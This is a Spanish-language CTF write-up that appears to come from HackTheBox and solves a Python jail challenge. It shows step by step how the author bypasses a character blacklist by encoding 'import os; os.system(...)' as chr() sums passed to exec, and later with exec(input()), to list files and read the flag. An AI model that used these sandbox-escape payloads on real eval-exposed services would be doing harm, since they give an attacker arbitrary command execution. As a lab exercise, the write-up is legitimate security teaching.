nehebkaus trap
3 minutos de lectura
Se nos proporciona una instancia remota a la que conectarnos:
$ nc 167.71.143.44 32139
__
{00}
\__/
/^/
( (
\_\_____
(_______)
(_________()Ooo.
[ Nehebkau's Trap ]
You are trapped!
Can you escape?
>
Reconocimiento básico
Se nos permite ingresar alguna información, pero muestra un error:
> asdf
[*] Input accepted!
Error: name 'asdf' is not defined
El mensaje de error parece familiar para un REPL de Python:
$ python3 -q
>>> asdf
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'asdf' is not defined
Además, el banner muestra una serpiente, por lo que probablemente este sea un reto de jaula de Python. Tendremos que escapar y leer la flag. Para eso, intentemos usar el payload más básico:
> import os; os.system('/bin/bash')
[!] Blacklisted character(s): ['.', '/', ';', ' ', "'"]
No será tan fácil. Veamos qué caracteres no se permiten enviando todos los posibles:
$ python3 -q
>>> import string
>>> print(string.printable)
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
>>> exit()
$ nc 167.71.143.44 32139
__
{00}
\__/
/^/
( (
\_\_____
(_______)
(_________()Ooo.
[ Nehebkau's Trap ]
You are trapped!
Can you escape?
> 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
[!] Blacklisted character(s): ['.', '_', '/', '"', ';', ' ', "'", ',']
Entonces, vemos que podemos usar cualquier número o letra. Sin embargo, los caracteres anteriores restringen la mayoría de los payloads para ejecutar comandos.
Escapando de la jaula
Obsérvese que sí podemos usar paréntesis:
> print(1+2)
[*] Input accepted!
3
Por lo tanto, podemos ejecutar exec
para ejecutar el código Python arbitrario. El truco viene en cómo pasamos la cadena de código. Mi enfoque era usar chr
así:
$ python3 -q
>>> code = "import os; os.system('whoami')"
>>> list(code.encode())
[105, 109, 112, 111, 114, 116, 32, 111, 115, 59, 32, 111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 39, 119, 104, 111, 97, 109, 105, 39, 41]
>>> '+'.join(map(lambda b: f'chr({b})', list(code.encode())))
'chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)+chr(39)+chr(41)'
>>> exit()
$ nc 167.71.143.44 32139
__
{00}
\__/
/^/
( (
\_\_____
(_______)
(_________()Ooo.
[ Nehebkau's Trap ]
You are trapped!
Can you escape?
> exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)+chr(39)+chr(41))
ctf
[*] Input accepted!
Genial, funciona. Enumeremos los archivos en el directorio actual:
$ python3 -q
>>> code = "import os; os.system('ls -la')"
>>> '+'.join(map(lambda b: f'chr({b})', list(code.encode())))
'chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(108)+chr(115)+chr(32)+chr(45)+chr(108)+chr(97)+chr(39)+chr(41)'
>>> exit()
$ nc 167.71.143.44 32139
__
{00}
\__/
/^/
( (
\_\_____
(_______)
(_________()Ooo.
[ Nehebkau's Trap ]
You are trapped!
Can you escape?
> exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(108)+chr(115)+chr(32)+chr(45)+chr(108)+chr(97)+chr(39)+chr(41))
total 16
drwxr-sr-x 1 ctf ctf 4096 Mar 10 20:18 .
drwxr-xr-x 1 root root 4096 Jan 4 04:30 ..
-rw-rw-r-- 1 root root 33 Mar 10 20:17 flag.txt
-rwxrwxr-x 1 root root 1099 Mar 10 20:17 jail.py
[*] Input accepted!
Ahí está la flag como flag.txt
.
Flag
Así que leamos la flag:
$ python3 -q
>>> code = "import os; os.system('cat flag.txt')"
>>> '+'.join(map(lambda b: f'chr({b})', list(code.encode())))
'chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(41)'
>>> exit()
$ nc 167.71.143.44 32139
__
{00}
\__/
/^/
( (
\_\_____
(_______)
(_________()Ooo.
[ Nehebkau's Trap ]
You are trapped!
Can you escape?
> exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(41))
HTB{y0u_d3f34t3d_th3_sn4k3_g0d!}
[*] Input accepted!
Otros enfoques
Esta es otra técnica más inteligente que aprendí después del CTF:
$ nc 167.71.143.44 32139
__
{00}
\__/
/^/
( (
\_\_____
(_______)
(_________()Ooo.
[ Nehebkau's Trap ]
You are trapped!
Can you escape?
> exec(input())
[*] Input accepted!
import os; os.system('cat flag.txt')
HTB{y0u_d3f34t3d_th3_sn4k3_g0d!}